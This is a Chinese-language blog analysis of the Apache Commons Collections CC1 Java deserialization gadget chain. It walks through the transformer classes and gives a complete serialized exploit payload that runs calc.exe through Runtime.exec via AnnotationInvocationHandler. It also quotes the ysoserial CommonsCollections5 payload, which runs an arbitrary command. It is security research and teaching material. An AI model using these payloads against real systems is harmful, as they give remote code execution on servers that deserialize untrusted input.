Java CC1反序列化链分析

Java CC1反序列化链分析

[TOC]

参考文章

Java反序列化漏洞分析 (qq.com)

Java反序列化漏洞分析 - 先知社区 (aliyun.com)

JAVA反序列化 - Commons-Collections组件 - 先知社区 (aliyun.com)

玩转ysoserial-CommonsCollection的七种利用方式分析 (qq.com)

浅显易懂的JAVA反序列化入门 - 先知社区 (aliyun.com)

一、从payload的角度分析

1、本地poc

Apache Commons Collections反序列化漏洞的主要问题在于Transformer这个接口类,Transformer类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞点就在这里。

目前已知实现了Transformer接口的类,如下所示。而在Apache Commons Collections反序列漏洞中,会使用到ChainedTransformerConstantTransformerInvokerTransformer这三个类,这些类的具体作用我们在下面结合POC来看。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Test1 {
    public static void main(String[] args) {
        // 1.
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        // 2.
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 3.
        HashMap hashMap = new HashMap();
        hashMap.put("key", "value");

        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();

        // 4.
        next.setValue("test");
    }
}

该POC可以分成四部分来分析:

创建transformer数组,构建漏洞核心利用代码
将transformers数组存入ChainedTransformer类
创建Map,给予map数据转换链
触发漏洞利用链,利用漏洞

2、POC流程分析

2.1 创建transformer数组

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

这里创建了个Transformer类型的数组,其中创建了四个对象,这四个对象分别使用了ConstantTransformerInvokerTransformer两个类。

ConstanTransformer:把一个对象转换为常量并返回

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param constantToReturn  the constant to return each time
 */
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

InvokerTransformer:通过反射创建一个对象并返回

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param methodName  the method to call
 * @param paramTypes  the constructor parameter types, not cloned
 * @param args  the constructor arguments, not cloned
 */
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

2.2 将transformers数组存入ChainedTransformer类

创建一个ChainedTeansformer对象并将刚才创建的transformers传入其中

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ChainedTransformer:将传入的transformers转换器链接在一起,并依次对象依次的进行转换。

2.3 创建Map,给予map数据转换链

HashMap hashMap = new HashMap();
hashMap.put("key", "value");

Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();

先是创建Map类,添加了一组数据("key", "value")

接着是给与map实现类的数据转换链。而在Apache Commons Collections中实现了TransformedMap类,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。即就是当数据发生改变时,可以进行一些提前设定好的操作

TransformedMap.decorate中传入了三个参数,第一个参数为刚才创建的Map调用了父类AbstractInputCheckedMapDecorator的构造函数,被保存为了this.map

image-20220505101441418

第二个参数传入的是null,第三个参数为传入的chainedTransformer被初始化为this.valueTransformer的变量。

image-20220505101609955

然后获取outerMap的第一个键值对(key,value),然后转化成Map.Entry形式。

image-20220505102200337

最后利用Map.Entry取得第一个值,调用修改值的函数,触发下面的setValue( )代码。

image-20220505102259323

3、漏洞触发

续接上文继续跟入setValue进行分析,首先会进入AbstractInputCheckedMapDecorator类,在这会对传入的值进行checkSetValue

image-20220505103757947

继续跟进setValue的parent.checkSetValue会进入到TransoformedMap类

image-20220505104343978

这里的valueTransformer就是最一开始我们创建的chainedTransformer对象,其中传入了transformers数组。

继续跟进是ChainedTransformer中的transform方法,这里对我们传入的transformers数组进行了遍历,先调用1次ConstantTransformer类,再调用3次InvokerTransformer类。需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。

3.1 第一次循环

首先遍历的是transformers中的ConstantTransformer,跟进看一下具体是怎么处理的

image-20220505105632851

调用了ConstantTransformer中的transform方法将传入的Runtime.class转换为iConstant变量,并将返回值作为下一次transform函数的object参数输入。

image-20220505105900350

image-20220505110247330

3.2 第二次循环

image-20220505111014137

调用InvokerTransformer中的transform方法,这个方法很明显的就是调用了反射机制

image-20220505111312271

在InvokerTransformer的构造函数中需要先传入三个参数

  • 传入的方法名,类型为字符串
  • 方法的参数类型,类型为Class数组
  • 具体传入的数值,类型为Object数组

image-20220505111351922

这里回想一下上一部处理中将java.Lang.Runtime作为值传入了这里,所以这一部分也就相当于如下的代码:

method = input.getClass().getMethod("getMethod",  new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});

即java.Lang.Runtime.getMethod("getRuntime",null),返回一个Runtime.getRuntime()方法,相当于产生一个字符串,但还没有执行"Rumtime.getRuntime( );"

3.3 第三次循环

image-20220505112736434

这里跟第二次循环一样,同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime()。

method = input.getClass().getMethod("invoke",  new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()",  new Object[] {null, new Object[0]});

即Runtime.getRuntime().invoke(null),那么会返回一个Runtime对象实例。相当于执行了完成了:

Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);

3.4 第四次循环

image-20220505113014927

同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime().invoke(null)

method = input.getClass().getMethod("exec",  new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});

即Runtime.getRuntime( ).exec("calc.exe"),至此成功完成漏洞利用链,执行系统命令语句,触发漏洞。

二、最终Payload

目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。

因此就需要寻找一个可序列化类,该类重写了readObject( )方法,并且在readObject( )中进行了setValue( ) 操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。

在java中,确实存在一个类AnnotationInvocationHandler,该类重写了readObject( )方法,并且执行了setValue( ) 操作,且Map变量可控,如果可以将TransformedMap装入这个AnnotationInvocationHandler类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。

最后利用的payload如下:

package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ApacheSerialize implements Serializable {
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformerChain = new ChainedTransformer(transformers);

        //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        Map map = new HashMap();
        map.put("value", "test");

        //Map数据结构,转换后的Map
        /*
        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        //反射机制调用AnnotationInvocationHandler类的构造函数
        //forName 获得类名对应的Class对象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射调用私有的的结构:私有方法、属性、构造器
        //指定构造器

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制,保证构造器可访问
        ctor.setAccessible(true);

        //获取AnnotationInvocationHandler类实例
        //调用此构造器运行时类的对象
        Object instance=ctor.newInstance(Target.class, transformedMap);

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

简单的分析调试一下这个payload,其他的部分其实没怎么变,主要的变化是通过反射调用了AnnotationInvocationHandler

该类中重写的readObject方法在被调用的时候将map转换为map.Enrty,并在这其中同时也调用了steValue方法,所以我们只需要将transformedMap装入AnnotationInvocationHandler再进行传输就可以不用考虑远程服务是否进行SetValue。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

实际效果:

image-20220505141440278

但是该方法只能在jdk7中使用,应为在jdk8中的AnnotationInvocationHandler.readObject方法做出了修改:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

他这里干脆不用setValue了。这该如何解决呢,我们可以去看一下在ysoserial中的cc1链是什么样的

package ysoserial.payloads;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

    public BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return val;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections5.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }

}

这里使用了BadAttributeValueExpException来代替AnnotationInvocationHandler,但这其实也就是CC5的链子了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇